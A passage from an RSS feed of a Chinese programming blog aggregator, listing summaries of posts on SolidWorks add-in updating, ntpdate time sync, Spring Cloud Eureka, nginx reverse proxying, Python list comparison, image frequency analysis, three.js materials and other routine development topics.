      <description>写了程序，难免需要更新。所以大家都各自有各自的更新方案。&#xA;一般的.net可执行程序可以通过oneclick发布，从而自己更新，在每次用户打开时完成更新，&#xA;但是插件的更新有个问题，不能热更新。因为Solidworks在加载完dll之后 无法完全释放，所以无法直接替换。&#xA;所以一般的做法是在程序加载完成之后，提示用户有更新，这样就会要求用户必须重启一次Soldiworks.&#xA;-----------------------------------------------------------------------------------------------------------------------------------------------------&#xA;目前我的做法是创建一个新的Soldiworks插件，用于更新。需要注意的是要保证这个更新程序被solidworks先于功能的DLL加载。&#xA;具体我也没有研究它是基于名字还是基于GUID，至少我测试是能用的。&#xA;然后就需要在Update.dll中写具体更新的过程了。&#xA;需要在实体这个类的时候就去更新，这时solidworks只是加载了这个update.dll Tool.dll是还没有加载到内存的，所以这个时候是可以替换的。&#xA;此时是基于网络或者局域网都可以实现更新。&#xA;这样用户就会在每次重新开启Solidworks的时候实现了更新。</description>
    </item>
    <item>
      <title>Linux下使用ntpdate进行时间同步，Linux时间自动同步（本文少部分为自己修改，经过验证）</title>
      <link>https://bchobby.github.io/posts/4040e1e2c72b71e6c2ac0eda3e89ac29/</link>
      <pubDate>Fri, 18 Oct 2019 11:50:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4040e1e2c72b71e6c2ac0eda3e89ac29/</guid>
      <description>1、安装ntpdate，执行以下命令&#xA;# yum install ntpdate -y 2、手工同步网络时间，执行以下命令，将从time.nist.gov同步时间&#xA;# ntpdate 0.asia.pool.ntp.org 若上面的时间服务器不可用，也可以选择以下服务器同步时间&#xA;time.nist.gov&#xA;time.nuri.net&#xA;0.asia.pool.ntp.org&#xA;1.asia.pool.ntp.org&#xA;2.asia.pool.ntp.org&#xA;3.asia.pool.ntp.org&#xA;3、使用crontab计划任务定时更新网络时间，修改crontab文件，在末尾增加* */1 * * * ntpdate 0.asia.pool.ntp.org，每隔1小时同步一次时间。&#xA;# vi /etc/crontab */1 * * * * root ntpdate 0.asia.pool.ntp.org （1分钟，经过验证的）&#xA;4、使用date命令查看当前时间&#xA;sudo su -&#xA;date -s &#34;2019-10-18 11:05:00&#34;&#xA;date &#34;+%Y-%m-%d %H:%M:%S&#34;&#xA;5、系统时间同步到硬件，防止系统重启后时间呗还原&#xA;# hwclock --systohc 以上来自：https://www.cnblogs.com/zhi-leaf/p/6281549.html&#xA;Linux 查看所有定时任务 crontab 命令选项基本只对用户操作的选项：&#xA;-u 指定一个用户&#xA;-l 列出某个用户的任务计划 （当前用户）&#xA;-r 删除某个用户的任务&#xA;-e 编辑某个用户的任务&#xA;所以，要查看所有用户的，只能根据 /etc/passwd 文件中的用户名一一列举了，可以用脚本。&#xA;no crontab for root 解决方案 oot用户下 输入 crontab -l 显示</description>
    </item>
    <item>
      <title>SpringCloud-Eureka-Provider&amp;Consumer</title>
      <link>https://bchobby.github.io/posts/542d06656e563abb20e24e0a79f277e9/</link>
      <pubDate>Tue, 15 Oct 2019 23:18:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/542d06656e563abb20e24e0a79f277e9/</guid>
      <description>Eureka-Provider 服务的提供者 新建一个服务提供者项目 1、导入pom文件&#xA;&amp;lt;properties&amp;gt; &amp;lt;java.version&amp;gt;1.8&amp;lt;/java.version&amp;gt; &amp;lt;spring-cloud.version&amp;gt;Greenwich.SR3&amp;lt;/spring-cloud.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-netflix-eureka-client&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;dependencyManagement&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-dependencies&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spring-cloud.version}&amp;lt;/version&amp;gt; &amp;lt;type&amp;gt;pom&amp;lt;/type&amp;gt; &amp;lt;scope&amp;gt;import&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;/dependencyManagement&amp;gt; &amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-maven-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;/plugins&amp;gt; &amp;lt;/build&amp;gt; 2、在启动类上加注解&#xA;@SpringBootApplication @EnableDiscoveryClient // 这个注解加不加都可以，因为Eureka public class EurekaProviderApplication { public static void main(String[] args) { SpringApplication.run(EurekaProviderApplication.class, args); } } 上边那个@EnableDiscoverClient 注解加不加都行的原因会在后边表名&#xA;3、在Eureka-Provider项目中添加一个简单的接口&#xA;@RestController public class EurekaProviderController { @GetMapping(&#34;</description>
    </item>
    <item>
      <title>C# SolidWorks 二次开发 API---创建插件Add-In</title>
      <link>https://bchobby.github.io/posts/ce4ccac425cfa5f4cae556d308dbb647/</link>
      <pubDate>Tue, 15 Oct 2019 21:43:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce4ccac425cfa5f4cae556d308dbb647/</guid>
      <description>在新建项目时选择SwCSharpAddin&#xA;如果没有这一项,可以在把swcsharpaddin.zip放到对应的模板目录下.&#xA;https://download.csdn.net/download/zengqh0314/12182239&#xA;一般在安装过电脑上都会有这个文件,如果实在找不到可以去网上搜索.&#xA;SolidWorks API SDK.msi这个里面有: 可以利用下面的命令解压出来 msiexec /a &#34;SolidWorks API SDK.msi&#34; /qb TARGETDIR=&#34;d:\&#34;&#xA;在上面输入自己想要的命字之后 .项目会自动创建,并加好引用.&#xA;双击swAddin.cs查看内容.&#xA;这里会自动做了一些注释:&#xA;在调试选项中确认使用的sldworks文件位置.点击启动进行调试.(注意Visual Studio需要用管理员权限启动)&#xA;这里会自动启动Solidworks, 手动新建一个零件 ,即可发现新多了菜单 .&#xA;然后下一步就是参考这个Addin实例 去修改成自己想要的界面了.</description>
    </item>
    <item>
      <title>数字图像处理：图像的频域</title>
      <link>https://bchobby.github.io/posts/ee500792210003c1554c37d6cded39d4/</link>
      <pubDate>Tue, 15 Oct 2019 17:43:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee500792210003c1554c37d6cded39d4/</guid>
      <description> 数字图像处理：图像的频域 一、图像高频信号和低频信号的理解 1.1 图像中的低频信号和高频信号也叫做低频分量和高频分量。 1）空间频率指的是图像中灰度值相对它的邻居点变化方式。如果一副图像中灰度从一边到另一边变化很小，那就说这副图像是低频信号。如果某些像素相对于它邻近的像素点变化很剧烈，则说明该图像含有高频信号.&#xA;2）简单一点说，图像中的高频分量，指的是图像强度（亮度/灰度）变化剧烈的地方，也就是我们常说的边缘（轮廓）；图像中的低频分量，指的是图像强度（亮度/灰度）变换平缓的地方，也就是大片色块的地方。人眼对图像中的高频信号更为敏感。&#xA;3）图像的高低频是对图像各个位置之间强度变化的一种度量方法。&#xA;低频分量：主要对整副图像的强度的综合度量。高频分量：主要是对图像边缘和轮廓的度量。 如果一副图像的各个位置的强度大小相等,则图像只存在低频分量,从图像的频谱图上看,只有一个主峰,且位于频率为零的位置。 如果一副图像的各个位置的强度变化剧烈,则图像不仅存在低频分量,同时也存在多种高频分量,从图像的频谱上看,不仅有一个主峰,同时也存在多个旁峰。&#xA;1.2直观认识 假设在正弦波中有一个毛刺，并且正弦波的变化非常的缓慢，频率较低，在正弦波上有一个毛刺，这个毛刺在短时间内就完成了一个变化周期，频率较高。所以我们就把这里的正弦波称为低频信号，而毛刺就称为高频信号。如果要对这个曲线平滑滤波的话，效果就是把毛刺滤掉，也就是说，平滑滤波的操作会将高频信号去除而低频信号保留，也就是我们常说的低通滤波器了。 最简单的低通滤波器的实现就是中值或者均值滤波器。 由以上的认识推广到二维图像上，也就不难知道为什么会将图像上变化剧烈的地方叫做高频信号，而变化平缓的地方叫做低频信号了。&#xA;二、图像频率的理解 1、不同频率信息在图像结构中有不同的作用。图像的主要成分是低频信息，它形成了图像的基本灰度等级，对图像结构的决定作用较小；中频信息决定了图像的基本结构，形成了图像的主要边缘结构；高频信息形成了图像的边缘和细节，是在中频信息上对图像内容的进一步强化。2、图像的频率是表征图像中灰度变化剧烈程度的指标，是灰度在平面空间上的梯度。如：大面积的沙漠在图像中是一片灰度变化缓慢的区域，对应的频率值很低；而对于地表属性变换剧烈的边缘区域在图像中是一片灰度变化剧烈的区域，对应的频率值较高。3、对图像而言，图像的边缘部分是突变部分，变化较快，因此反应在频域上是高频分量；图像的噪声大部分情况下是高频部分；图像平缓变化部分则为低频分量。也就是说，傅立叶变换提供另外一个角度来观察图像，可以将图像从灰度分布转化到频率分布上来观察图像的特征。4、图像进行二维傅立叶变换得到频谱图，就是图像梯度的分布图，当然频谱图上的各点与图像上各点并不存在一一对应的关系，即使在不移频的情况下也是没有。傅立叶频谱图上我们看到的明暗不一的亮点，实际是上图像上某一点与邻域点差异的强弱，即梯度的大小，也即该点的频率的大小（可以这么理解，图像中的低频部分指低梯度的点，高频部分相反）。5、图像的频率，不是图像上某一个点的频率，它反映了反应了图像像素变化的快慢，也就是说，在某一区域变化的非常大非常的快，那这一区域就携带有一定的高频的信息。图像的高频信息越多，图像的细节特征也就越多。 三、各类滤波器 高通滤波：允许高频信号通过（边缘加强、提取）；&#xA;低通滤波：允许低频信号通过（边缘平滑）；&#xA;带通滤波：允许一定频率的信号通过；&#xA;带阻滤波：注意一定频率通过，并允许其他频率通过；&#xA;全通滤波：允许所有频率通过，仅仅改变相位关系；&#xA;陷波滤波（Band-Stop Filter）：阻止一个狭窄频率范围通过，一种特殊的带阻滤波器；&#xA;边缘区域的灰度变化较大，也就是频率较高，所以对于高通滤波边缘部分将会保留，非边缘部分将会被过滤；对于低通滤波边缘区域将会被平滑过渡掉。(低通即为模糊，高通即为锐化)线性滤波是指：两个信号之和的响应和它的响应之和相等，即，每个像素的输出值是一些输入像素的加权和。 </description>
    </item>
    <item>
      <title>活动安排问题</title>
      <link>https://bchobby.github.io/posts/9b690389601a4ad8d6a4befc1b88ca00/</link>
      <pubDate>Tue, 15 Oct 2019 16:51:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b690389601a4ad8d6a4befc1b88ca00/</guid>
      <description> 设有n个活动的集合E＝{1，2，…，n}，其中每个活动都要求使用同一资源，如演讲会场等，而在同一时间内只有一个活动能使用这一资源。&#xA;每个活动i都有一个要求使用该资源的起始时间si和一个结束时间fi，且si＜fi。如果选择了活动i，则它在半开时间区间[si ，fi )内占用资源。若区间[si ，fi )与区间[sj，fj )不相交，则称活动i与活动j是相容的。当 si ≥ fj 或 sj ≥ fi 时，活动i与活动j相容。&#xA;活动安排问题就是在所给的活动集合中选出最大的相容活动子集合。&#xA;把活动的起始时间和结束时间定义为结构体:&#xA;struct action{ int s; int f; int index; }; 活动集合E记为数组：&#xA;action a[1000];&#xA;按活动的结束时间升序排序&#xA;排序比较因子：&#xA;bool cmp(const action &amp;amp;a, const action &amp;amp;b)&#xA;{&#xA;if (a.f&amp;lt;=b.f) return true;&#xA;return false;&#xA;}&#xA;使用标准模板库函数排序（下标0未用）：&#xA;sort(a, a+n+1, cmp);&#xA;void Greedy(vector&amp;lt;Action&amp;gt; &amp;amp;v,int n){ v[0].select=1; int select=0; for(int i=1;i&amp;lt;n;i++)&#x9;{ if(v[i].gets()&amp;gt;=v[select].gete()){ v[i].select=1; select=i; } } cout&amp;lt;&amp;lt;&#34;可以安排如下的活动：&#34;&amp;lt;&amp;lt;endl; for(i=0;i&amp;lt;n;i++) if(v[i].select) v[i].display(); } </description>
    </item>
    <item>
      <title>用nginx实现反向代理，实现外网访问内网的服务</title>
      <link>https://bchobby.github.io/posts/5590b3f633dc2400e4aaf0707bcbf000/</link>
      <pubDate>Tue, 15 Oct 2019 13:00:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5590b3f633dc2400e4aaf0707bcbf000/</guid>
      <description>环境背景，服务器为Ubuntu：&#xA;一台可以连接公网和内网的服务器A，公网IP地址：61.174.×.×，另一台内网服务器B上安装jenkins服务，内网的IP地址192.168.3.12&#xA;操作步骤：&#xA;在A上安装nginx&#xA;sudo apt-get install nginx&#xA;安装好之后，进入/etc/nginx/sites-enabled目录，打开目录中的文件，修改默认端口号为8085，&#xA;然后进入/etc/nginx/conf.d 目录，新建文件 jenkins.conf，文件内容如下：&#xA;server{&#xA;listen 8085;&#xA;server_name 61.174.171.61;&#xA;location /{&#xA;proxy_set_header X-Real-IP $remote_addr;&#xA;proxy_set_header X-Forward-For $proxy_add_x_forwarded_for;&#xA;proxy_set_header Host $http_host;&#xA;proxy_set_header X-Nginx-Proxy true;&#xA;proxy_pass http://192.168.3.12:8080;&#xA;proxy_redirect off;&#xA;}&#xA;然后执行sudo nginx -t&#xA;sudo nginx -s reload&#xA;如果出现错误：nginx: [error] invalid PID number &#34;&#34; in &#34;/run/nginx.pid&#34;&#xA;则执行 sudo nginx -c /etc/nginx/nginx.conf 然后在公网上访问61.174.171.61:8085，即可访问到内网的jenkins服务。</description>
    </item>
    <item>
      <title>python 比较两个列表, 相同元素和不同元素</title>
      <link>https://bchobby.github.io/posts/aac32955f10690ddd06a36cef69ff710/</link>
      <pubDate>Tue, 15 Oct 2019 10:09:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aac32955f10690ddd06a36cef69ff710/</guid>
      <description>第一种，for循环，此情况是list1属于list2&#xA;list1 = [1, 2, 3] list2 = [1, 2, 3, 4, 5] for i in list2: if i not in list1: print(i) 第二种，得出列表中相同的元素，和不同元素（两个列表都存在）&#xA;list1 = [1, 2, 3, 8] list2 = [1, 2, 3, 4, 5] a = [x for x in list1 if x in list2] #列表中相同元素 b = [y for y in (list1 + list2) if y not in a] #列表中不同元素 （两个列表都存在） print(a) print(b) 第三种 c 为 在list1列表中而不在list2列表中</description>
    </item>
    <item>
      <title>Springcloud 高并发  配置  （一文全懂）</title>
      <link>https://bchobby.github.io/posts/aabc506e90253ec6fcf1ba5f43787cb5/</link>
      <pubDate>Mon, 14 Oct 2019 22:14:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aabc506e90253ec6fcf1ba5f43787cb5/</guid>
      <description>文章很长，建议收藏起来，慢慢读! 疯狂创客圈为小伙伴奉上以下珍贵的学习资源：&#xA;疯狂创客圈 经典图书 ： 《Netty Zookeeper Redis 高并发实战》 面试必备 + 大厂必备 + 涨薪必备疯狂创客圈 经典图书 ： 《SpringCloud、Nginx高并发核心编程》 面试必备 + 大厂必备 + 涨薪必备疯狂创客圈 价值1000元 百度网盘资源大礼包 随便取 GO-&amp;gt;【博客园总入口 】独孤九剑 Netty灵魂实验 ： 本地 100W连接 高并发实验，瞬间提升Java内力 文章目录 价值连城：2021春招月薪过5万 面试题 系列万字长文： 疯狂创客圈 springCloud 高并发系列前言Springcloud的性能问题Servlet 容器 优化Zuul配置 优化Feign 配置优化hystrix配置 优化ribbon 优化 疯狂创客圈 Java 死磕系列疯狂创客圈 Java 死磕系列 价值连城：2021春招月薪过5万 面试题 系列 搞定下面这些面试题，2021春招月薪过5万(猛！)阿里、京东、美团、头条… 随意挑、横着走！！！Java基础1： JVM面试题（史上最强、持续更新、吐血推荐）https://www.cnblogs.com/crazymakercircle/p/14365820.html2：Java基础面试题（史上最全、持续更新、吐血推荐）https://www.cnblogs.com/crazymakercircle/p/14366081.html3：死锁面试题（史上最强、持续更新）[https://www.cnblogs.com/crazymakercircle/p/14323919.html]4：设计模式面试题 （史上最全、持续更新、吐血推荐）https://www.cnblogs.com/crazymakercircle/p/14367101.html5：架构设计面试题 （史上最全、持续更新、吐血推荐）https://www.cnblogs.com/crazymakercircle/p/14367907.html还有 10 几篇 篇价值连城 的面试题具体… 请参见【 疯狂创客圈 高并发 总目录 】 万字长文： 疯狂创客圈 springCloud 高并发系列 springCloud 高质量 博文 nacos 实战（史上最全） sentinel （史上最全+入门教程） springcloud + webflux 高并发实战 Webflux（史上最全） SpringCloud gateway （史上最全）还有 10 几篇 万字长文 的高质量 博文具体… 请参见【 疯狂创客圈 高并发 总目录 】 前言 疯狂创客圈（笔者尼恩创建的高并发研习社群）Springcloud 高并发系列文章，将为大家介绍三个版本的高并发秒杀：</description>
    </item>
    <item>
      <title>彻底解决Virtualbox共享粘贴板不可使用问题</title>
      <link>https://bchobby.github.io/posts/27a15408f38b5d2a04b3faed863ea5ff/</link>
      <pubDate>Mon, 14 Oct 2019 19:50:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27a15408f38b5d2a04b3faed863ea5ff/</guid>
      <description>一.在虚拟机设置界面-&amp;gt;常规 中选择双向&#xA;二.在虚拟机设置界面-&amp;gt;存储 中进行如下勾选&#xA;三.在虚拟机设备选项中选择’安装增强功能’&#xA;如果有挂载错误Could not mount the media/drive ‘C:\Program Files\Oracle\VirtualBox/VBoxGuestAdditions.iso’&#xA;可以直接在驱动盘用运行autorun.sh即可解决&#xA;————————————————&#xA;原文链接：https://blog.csdn.net/u011311291/article/details/84979704</description>
    </item>
    <item>
      <title>使用html2canvas生成海报</title>
      <link>https://bchobby.github.io/posts/eaeaf6237954db532682143c4b9ee177/</link>
      <pubDate>Mon, 14 Oct 2019 17:44:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eaeaf6237954db532682143c4b9ee177/</guid>
      <description>下载 npm i html2canvas -s&#xA;导入 import html2canvas from ‘html2canvas’&#xA;//第一个参数是盒子容器 html2canvas(document.body,{ //设置海报的大小和宽度 height: document.body.offsetHeight+50, width: document.body.offsetWidth, //海报里面的图片是否允许跨域，即访问外链图片 allowTaint: true, }).then(canvas=&amp;gt;{ //将画布转化为base64的图片,图片跨域时无法转化为图片(暂未解决这个问题) var url = canvas.toDataURL(); console.log(canvas); //将画布添加到body元素上 document.body.appendChild(canvas) }); html2canvas的坑</description>
    </item>
    <item>
      <title>图解 LeetCode 第 421 题：数组中两个数的最大异或值</title>
      <link>https://bchobby.github.io/posts/141970a3b2f09f19f6e6325b0fe5b52a/</link>
      <pubDate>Mon, 14 Oct 2019 12:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/141970a3b2f09f19f6e6325b0fe5b52a/</guid>
      <description>点击蓝色“五分钟学算法”关注我哟&#xA;加个“星标”，天天中午 12:15，一起学算法&#xA;本文为读者投稿，作者 | 李威&#xA;经作者授权转载，来源 |https://www.liwei.party&#xA;今天分享的题目来源于 LeetCode 第 421 号问题：数组中两个数的最大异或值。在 异或 这个知识点里面属于一个中高难度的题目。&#xA;题目描述 给定一个非空数组，数组中元素为 a0, a1, a2, … , an-1，其中 0 ≤ ai &amp;lt; 231 。&#xA;找到 ai 和 aj 最大的异或 (XOR) 运算结果，其中0 ≤ i, j &amp;lt; n 。&#xA;你能在 O(n) 的时间解决这个问题吗？&#xA;示例:&#xA;输入: [3, 10, 5, 25, 2, 8] 输出: 28 解释: 最大的结果是 5 ^ 25 = 28. 题目解析 解决这个问题，我们首先需要利用异或运算的一个性质：&#xA;如果 a ^ b = c 成立，那么a ^ c = b 与 b ^ c = a 均成立。</description>
    </item>
    <item>
      <title>Springboot异常java.lang.StackOverflowErrorfen分析及解决办法</title>
      <link>https://bchobby.github.io/posts/da74d32b8d68b55e472ab63adf0f8d35/</link>
      <pubDate>Sun, 13 Oct 2019 12:52:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da74d32b8d68b55e472ab63adf0f8d35/</guid>
      <description>一、报错信息 Caused by: java.lang.StackOverflowError: null at java.io.ObjectInputStream$BlockDataInputStream.readByte(ObjectInputStream.java:2774) at java.io.ObjectInputStream.readHandle(ObjectInputStream.java:1450) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1512) at java.io.ObjectInputStream.readArray(ObjectInputStream.java:1664) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1345) at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2000) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1924) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351) at java.io.ObjectInputStream.readArray(ObjectInputStream.java:1707) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1345) at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2000) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1924) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351) at java.io.ObjectInputStream.readArray(ObjectInputStream.java:1707) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1345) at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2000) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1924) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351) at java.io.ObjectInputStream.readArray(ObjectInputStream.java:1707) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1345) at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2000) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1924) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351) at java.io.ObjectInputStream.readArray(ObjectInputStream.java:1707) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1345) at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2000) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1924) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801) at java.</description>
    </item>
    <item>
      <title>modesim se-64 10.4c与Questasim-64 10.6c兼容使用方法</title>
      <link>https://bchobby.github.io/posts/2a4ae765ff6850e9c3d3cace3aa4aec3/</link>
      <pubDate>Sun, 13 Oct 2019 00:42:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a4ae765ff6850e9c3d3cace3aa4aec3/</guid>
      <description>之前电脑上一直安装的是modesim se-64 10.4c的版本，用的一直都很好，后面由于项目需要，要用到vivado 18.2来开发项目。由于xilinx自带的仿真软件每次打开都很慢，非常浪费时间，想使用vivado和modesim联合仿真的方式缩短每次仿真时间。网上有一些写的非常详细的博客关于如何将vivado和modelsim联合起来，但是对modesim的版本有要求，modesim10.6c或者Questasim-64 10.6c。（下图是版本要求的说明）&#xA;（https://china.xilinx.com/support/documentation/sw_manuals/xilinx2018_2/ug973-vivado-release-notes-install-license.pdf）&#xA;Questasim在各个版本的开发软件上比较通用，就下载了一个Questasim-64 10.6c，安装方法跟modelsim差不多，然后进行vivodo和联合仿真，方法跟modelsim一样，链接如下：https://blog.csdn.net/weixin_37603007/article/details/82823965。唯一的不同点在于有个setting（设置）那里，需要改成questasim。&#xA;所有的设置完毕之后，vivado调用Questasim仿真可以很快地调出Questasim，得到很好的仿真效果。（有次错误操作，在setting-3rd party simulation那里选择了modelsim，想不到反正居然调出了modesim se-64 10.4c，很奇怪）。&#xA;因为我电脑上还安装了ise，ise之前一直联合仿真的时候调用的是modesim se-64 10.4c，可是当我再次使用ise进行联合仿真的时候却报错了，如下错误：&#xA;ERROR: Platform mismatch!&#xA;ERROR: Error(s) encountered while extracting pre-compiled simulation library information.&#xA;后来发现原因是进行vivado和Questasim联合仿真设置的时候，有个步骤不应该设置，可以不用设置那个用户变量。设置用户变量会导致ise在调用modelsim的时候，指向了Questasim的预编译库中的ini文件。就是下图这个步骤：&#xA;取消了这个环境变量后，ise可以正常调用modesim se-64 10.4c，vivado也可以正常调用Questasim-64 10.6c。&#xA;最近写大论文，笔记本重新换了系统，各种软件全部重装，发现参考的那篇博客有个步骤不太正确，联合之后，vivado在调用questasim的时候，老是报一个fifo库文件的错误，后面从新编译了库之后，才解决，编译库的过程中有个选项要选择一下，如下图所示。其中步骤4那个选项要勾上，不然编译出来的库，不能正确进行questasim仿真。&#xA;后续，我会做一个完整的联调安装步骤，敬请期待。</description>
    </item>
    <item>
      <title>语义分割评估指标MIOU</title>
      <link>https://bchobby.github.io/posts/e10a7b3ff369d6fa9e23ab81a1e9da77/</link>
      <pubDate>Sat, 12 Oct 2019 14:52:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e10a7b3ff369d6fa9e23ab81a1e9da77/</guid>
      <description>1、MIOU定义 Mean Intersection over Union(MIoU，均交并比)：为语义分割的标准度量。其计算两个集合的交集和并集之比，在语义分割的问题中，这两个集合为真实值和预测值。在每个类上计算IoU，之后平均。计算公式如下：&#xA;i表示真实值，j表示预测值 ，p_{ij}pij​ 表示将i预测为j 。&#xA;2、直观理解 MIoU：计算两圆交集（橙色部分）与两圆并集（红色+橙色+黄色）之间的比例，理想情况下两圆重合，比例为1。&#xA;3、MIOU实现 （1）先求混淆矩阵&#xA;（2）再求mIOU&#xA;混淆矩阵的每一行再加上每一列，最后减去对角线上的值&#xA;import numpy as np&#xA;class IOUMetric:&#xA;&#34;&#34;&#34;&#xA;Class to calculate mean-iou using fast_hist method&#xA;&#34;&#34;&#34;&#xA;def __init__(self, num_classes):&#xA;self.num_classes = num_classes&#xA;self.hist = np.zeros((num_classes, num_classes))&#xA;def _fast_hist(self, label_pred, label_true):&#xA;# 找出标签中需要计算的类别,去掉了背景&#xA;mask = (label_true &amp;gt;= 0) &amp;amp; (label_true &amp;lt; self.num_classes)&#xA;# # np.bincount计算了从0到n**2-1这n**2个数中每个数出现的次数，返回值形状(n, n)&#xA;hist = np.bincount(&#xA;self.num_classes * label_true[mask].astype(int) +&#xA;label_pred[mask], minlength=self.num_classes ** 2).</description>
    </item>
    <item>
      <title>three.js材质大全</title>
      <link>https://bchobby.github.io/posts/e69ba98bf12604ba692fa41b2a5e1bef/</link>
      <pubDate>Fri, 11 Oct 2019 22:06:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e69ba98bf12604ba692fa41b2a5e1bef/</guid>
      <description>three.js材质大全 目录 材质(Material)MeshBasicMaterialMeshDepthMaterialMeshDistanceMaterialMeshMatcapMateriaMeshNormalMaterialMeshFaceMaterialMeshLambertMaterialMeshPhongMaterialMeshToonMaterialMeshStandardMaterialMeshPhysicalMaterialSpriteMaterialShaderMaterialLineBasicMaterialLineDashedMaterialPointsMaterial 1.材质(Material) 材质的抽象基类。材质描述了对象objects的外观。它们的定义方式与渲染器无关， 因此，如果您决定使用不同的渲染器，不必重写材质。所有其他材质类型都继承了以下属性和方法（尽管它们可能具有不同的默认值）。 2.MeshBasicMaterial 一个以简单着色（平面或线框）方式来绘制几何体的材质。这种材质不受光照的影响。&#xA;属性：&#xA;color：颜色wireframe：是否显示线框wireframeLinewidth：线框线宽度wireframeLinecap：线段端点如何显示。可选值有：butt（平）、round、square。默认是round。WebGLRenderer对象不支持该属性。wireframeLinejoin：线段连接点如何显示。可选值有：round、bevel（斜角）、miter（尖角）。默认是round。WebGLRenderer对象不支持属性。shading：着色模式。可选值：THREE.SmoothShading、THREE.FlatShading。vertexColors：为每个顶点定义不同的颜色。在CanvasRenderer对象中不起作用。fog：指示当前是否会受全局雾化效果设置的影响。 3.MeshDepthMaterial 一种按深度绘制几何体的材质。深度基于相机远近平面。白色最近，黑色最远。使用这种材质的物体，其外观不是由光照或某个材质属性决定的；而是由物体到相机的距离决定的。可以将这种材质与其他材质相结合，从而很容易创建逐渐消失的效果。只有两个控制线框的属性：wireframe,wireframeLinewidth可以通过设置相机的near和far的值，来控制创建中使用这种材质的物体的消失速度。如果near和fat之间的差值越大，那么物体远离相机时，只会稍微消失一点；反之，物体消失的效果非常明显。注意：没有颜色属性 4.MeshDistanceMaterial 主要用于通过PointLight光源实现阴影映射。通过将MeshDistanceMaterial的实例分配给Object3D.customDistanceMaterial，还可以用于自定义对象的阴影投射。 5.MeshMatcapMateria 由MatCap（或Lit Sphere）纹理定义，该纹理编码材质的颜色和阴影（理解这种材质的关键！）。由于Matcap图像文件对烘焙的照明进行编码，因此MeshMatcapMaterial对灯光不响应。它将阴影投射到接收阴影的对象上（并且进行阴影修剪），但不会自阴影或接收阴影。 6.MeshNormalMaterial 根据物体表面的法向量计算颜色法向量的作用： 决定光的发射方向、在计算光照、阴影时提供信息、为物体表面上色。法向量所指的方向决定每个面从MeshNormalMaterial材质获取的颜色。 7.MeshFaceMaterial 这是一种容器，可以在该容器中为物体的各个表面上设置不同的颜色。可以为几何体的每一个面指定不同的材质。假设有一个正方体，可以为每个面指定不同的颜色。 8.MeshLambertMaterial 